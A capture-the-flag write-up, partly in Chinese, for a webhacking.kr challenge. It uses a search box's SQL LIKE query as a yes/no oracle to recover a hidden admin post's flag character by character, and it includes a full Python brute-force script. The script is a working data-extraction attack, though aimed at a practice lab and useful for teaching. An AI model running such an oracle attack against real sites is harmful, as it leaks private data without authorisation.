Challenge
Recover the secret admin post through the search function.
通过搜索功能恢复 admin 私密文章中的 flag。
1 https://webhacking.kr/challenge/web-33/
Analysis
搜索结果会把 search 放入 LIKE 查询。admin
文章本身不能直接打开,但搜索结果中是否出现 admin 行可以作为 boolean
oracle:如果当前前缀匹配 secret 内容,响应包含 admin;否则不包含。
% 和 _ 是 SQL LIKE
通配符,不能把它们当成普通候选字符而不加说明。flag 可能包含
_;每个字符都需要通过响应确认,最终检查完整 flag 是否以
} 结束。
Solution
题目 endpoint 是
/challenge/web-33/index.php。单次探测使用 POST form:
1 2 3 4 POST /challenge/web-33/index.php Content-Type: application/x-www-form-urlencoded search=当前前缀+候选字符
以下脚本包含 session、候选集、POST 请求、oracle
和完整循环。它从已知前缀 flag{ 开始;%
被排除,避免直接制造任意长度匹配。脚本会在没有字符匹配或收集到
} 时停止:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import osimport stringimport requestsBASE_URL = os.environ.get("WEBHACKING_BASE" , "https://webhacking.kr" ) ENDPOINT = f"{BASE_URL} /challenge/web-33/index.php" SESSION_ID = os.environ.get("CHALLENGE_SESSION" , "" ) MAX_LENGTH = 64 CHARACTERS = ( string.digits + string.ascii_lowercase + string.ascii_uppercase + "!\\\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~" ) def make_session (): session = requests.Session() session.headers.update({"User-Agent" : "old-56-writeup/1.0" }) if SESSION_ID: session.cookies.set ("PHPSESSID" , SESSION_ID, domain="webhacking.kr" , path="/" ) return session def admin_visible (session, prefix ): response = session.post( ENDPOINT, data={"search" : prefix}, timeout=20 , ) response.raise_for_status() return "admin" in response.text.lower() def recover_flag (session ): flag = "flag{" for _ in range (MAX_LENGTH - len (flag)): for character in CHARACTERS: candidate = flag + character if admin_visible(session, candidate): flag = candidate print (flag) break else : raise RuntimeError(f"no candidate matched after {flag!r} " ) if flag.endswith("}" ): return flag raise RuntimeError("closing brace was not reached" ) def main (): session = make_session() flag = recover_flag(session) print (f"flag={flag} " ) if __name__ == "__main__" : main()